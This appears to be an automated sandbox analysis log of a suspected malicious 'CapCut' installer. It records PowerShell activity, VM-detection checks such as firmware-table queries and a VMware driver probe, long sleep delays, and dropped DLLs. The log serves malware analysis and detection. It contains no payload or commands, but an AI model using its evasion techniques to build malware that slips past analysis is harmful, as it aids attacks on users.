      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX

      Malware Analysis System Evasion

      barindex
      Query firmware table information (likely to detect VMs)
      Source: C:\Users\user\AppData\Local\Temp\530420\Classes.comSystem information queried: FirmwareTableInformation
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeFile opened / queried: C:\Windows\System32\DriverStore\FileRepository\vmci.inf_amd64_68ed49469341f563Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8787Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 553Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8316
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 556
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5132
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 920
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 488
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3861
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2500
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 636
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 690
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 654
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7672
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1427
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5976
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3792
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1277
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 978
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2446
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2989
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 569
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3061
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 919
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\System.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\vk_swiftshader.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\resources\elevate.exeJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\libEGL.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\d3dcompiler_47.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\libEGL.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\libGLESv2.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\vulkan-1.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\vulkan-1.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\vk_swiftshader.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\d3dcompiler_47.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\nsis7z.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\libGLESv2.dllJump to dropped file
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3084Thread sleep count: 8787 > 30Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4312Thread sleep count: 553 > 30Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 796Thread sleep time: -2767011611056431s >= -30000sJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5232Thread sleep time: -1844674407370954s >= -30000sJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7140Thread sleep count: 8316 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7140Thread sleep count: 556 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3140Thread sleep time: -6456360425798339s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2504Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7164Thread sleep count: 5132 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2044Thread sleep count: 38 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3544Thread sleep time: -2767011611056431s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5480Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5744Thread sleep count: 920 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5744Thread sleep count: 128 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7404Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7076Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2080Thread sleep count: 488 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7536Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7284Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7228Thread sleep count: 3861 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7556Thread sleep time: -2767011611056431s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7476Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7372Thread sleep count: 2500 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7540Thread sleep time: -1844674407370954s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7392Thread sleep count: 636 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7552Thread sleep time: -6456360425798339s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7520Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7432Thread sleep count: 690 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7548Thread sleep time: -14757395258967632s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7488Thread sleep time: -1844674407370954s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7396Thread sleep count: 654 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7544Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7728Thread sleep count: 7672 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7732Thread sleep count: 1427 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7760Thread sleep time: -5534023222112862s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7748Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7872Thread sleep count: 5976 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7876Thread sleep count: 3792 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7904Thread sleep time: -4611686018427385s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2140Thread sleep count: 1277 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7432Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7512Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7368Thread sleep count: 978 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7444Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -1844674407370954s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 648Thread sleep count: 2446 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7380Thread sleep time: -1844674407370954s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7264Thread sleep time: -922337203685477s >= -30000s
